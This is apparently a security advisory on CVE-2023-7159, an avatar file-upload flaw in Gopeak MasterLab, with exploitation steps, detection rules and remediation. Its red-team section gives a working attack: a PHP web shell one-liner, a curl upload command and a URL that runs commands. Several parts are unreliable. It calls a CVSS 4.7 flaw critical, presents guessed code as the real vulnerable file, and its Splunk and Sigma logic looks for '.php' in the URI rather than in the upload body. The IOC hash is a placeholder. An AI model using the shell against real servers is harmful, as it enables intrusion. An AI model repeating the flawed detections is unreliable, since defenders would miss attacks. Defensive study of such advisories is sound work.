CVE-2023-7159

Executive Summary

CVE-2023-7159 is a critical unrestricted file upload vulnerability discovered in the Gopeak MasterLab application, affecting versions up to and including 3.3.10. The flaw resides in the add/update function within the app/ctrl/admin/User.php file, where the avatar argument is not properly sanitized, allowing an authenticated attacker to upload arbitrary files to the server. This can lead to remote code execution, data exfiltration, or complete server compromise. The exploit has been publicly disclosed, increasing the risk of widespread exploitation. The vendor has not yet released a patch, leaving all installations vulnerable.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone PHP application (MasterLab) developed by Gopeak. The risk is limited to direct deployments of the MasterLab software.

CVSS Breakdown & Threat Level

• CVSS Score: 4.7 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – The attack can be launched remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – An attacker needs a valid user account with upload privileges.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited file modification possible.
• Availability Impact: Low (A:L) – Limited service disruption possible.

Threat Level: High due to the public availability of exploit code and the lack of a patch. The low EPSS score (0.0%) suggests limited active exploitation currently, but this is expected to increase.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) in the user profile avatar upload functionality. The app/ctrl/admin/User.php controller handles the add and update actions for user profiles. The avatar parameter is processed without proper validation of the file type, size, or content. An attacker can upload a malicious PHP file (e.g., a web shell) instead of an image. The application likely stores the uploaded file in a web-accessible directory (e.g., public/uploads/avatars/). Once uploaded, the attacker can access the file directly via a web browser, leading to remote code execution.

Key vulnerable code path:

1. User sends a POST request to /admin/user/add or /admin/user/update with a multipart form containing the avatar field.
2. The User.php controller receives the file and moves it to the uploads directory without checking the MIME type, file extension, or content.
3. The attacker can then access the uploaded file at a predictable URL (e.g., /uploads/avatars/shell.php).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state. A patched version would include:

Vulnerable Code (app/ctrl/admin/User.php):

// Vulnerable: No validation
$avatar = $_FILES['avatar'];
move_uploaded_file($avatar['tmp_name'], 'uploads/avatars/' . $avatar['name']);

Patched Code (Hypothetical):

// Patched: Validate file type and extension
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];
$avatar = $_FILES['avatar'];
$file_ext = strtolower(pathinfo($avatar['name'], PATHINFO_EXTENSION));
$file_type = mime_content_type($avatar['tmp_name']);

if (!in_array($file_ext, $allowed_extensions) || !in_array($file_type, $allowed_types)) {
    die('Invalid file type.');
}
move_uploaded_file($avatar['tmp_name'], 'uploads/avatars/' . uniqid() . '.' . $file_ext);

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A valid user account on the MasterLab application.
• Access to the admin panel (e.g., /admin/user/add).

Exploit Steps:

1. Prepare a malicious PHP file (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

2. Use a tool like curl or Burp Suite to send a POST request to the vulnerable endpoint:

   curl -X POST -F "avatar=@shell.php" -F "username=attacker" -F "password=pass" http://target.com/admin/user/add
   

3. Access the uploaded shell:

   http://target.com/uploads/avatars/shell.php?cmd=id
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unusual file uploads to /admin/user/add or /admin/user/update endpoints.
2. Look for files with .php, .phtml, .php5 extensions in the uploads directory.
3. Check for anomalous HTTP requests with large file sizes or non-image MIME types.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/admin/user/add" OR uri="/admin/user/update"
| rex field=uri ".*\.(?<extension>[^/]+)$"
| search extension IN (php, phtml, php5, php7)
| table _time, src_ip, uri, status, bytes

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shell.php: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
• Network Indicators:
  • POST requests to /admin/user/add or /admin/user/update with multipart form data.
  • Outbound connections from the web server to unknown IPs (if shell is used for C2).
• File System Indicators:
  • Unexpected .php files in /var/www/html/uploads/avatars/ or similar directories.
  • Files with non-image magic bytes (e.g., <?php instead of GIF89a).

Detection Engineering

YARA Rule

rule CVE_2023_7159_MasterLab_Upload {
    meta:
        description = "Detects malicious PHP files uploaded via CVE-2023-7159"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-7159"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $shell_exec = "shell_exec("
        $exec_call = "exec("
    condition:
        $php_tag and ($system_call or $shell_exec or $exec_call)
}

Sigma Rule

title: MasterLab Unrestricted File Upload (CVE-2023-7159)
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2023-7159 by uploading PHP files to MasterLab
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/admin/user/add'
            - '/admin/user/update'
        sc-status: 200
    filter:
        cs-uri-query|contains: '.php'
    condition: selection and filter
falsepositives:
    - Legitimate PHP file uploads (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-7159 MasterLab Unrestricted File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/admin/user/add"; http_uri; content:"avatar"; http_client_body; pcre:"/\.php$/U"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the avatar upload functionality in the MasterLab admin panel until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block file uploads with .php, .phtml, .php5 extensions.
3. Restrict file upload directory permissions to prevent execution (e.g., remove execute permissions from the uploads directory).

Long-term Fix:

• Apply the vendor patch when released.
• Upgrade to a patched version of MasterLab.
• Conduct a code review of all file upload functionalities to ensure proper validation.

Workaround:

• Modify the app/ctrl/admin/User.php file to add file type validation as shown in the patched code example.

Valters IT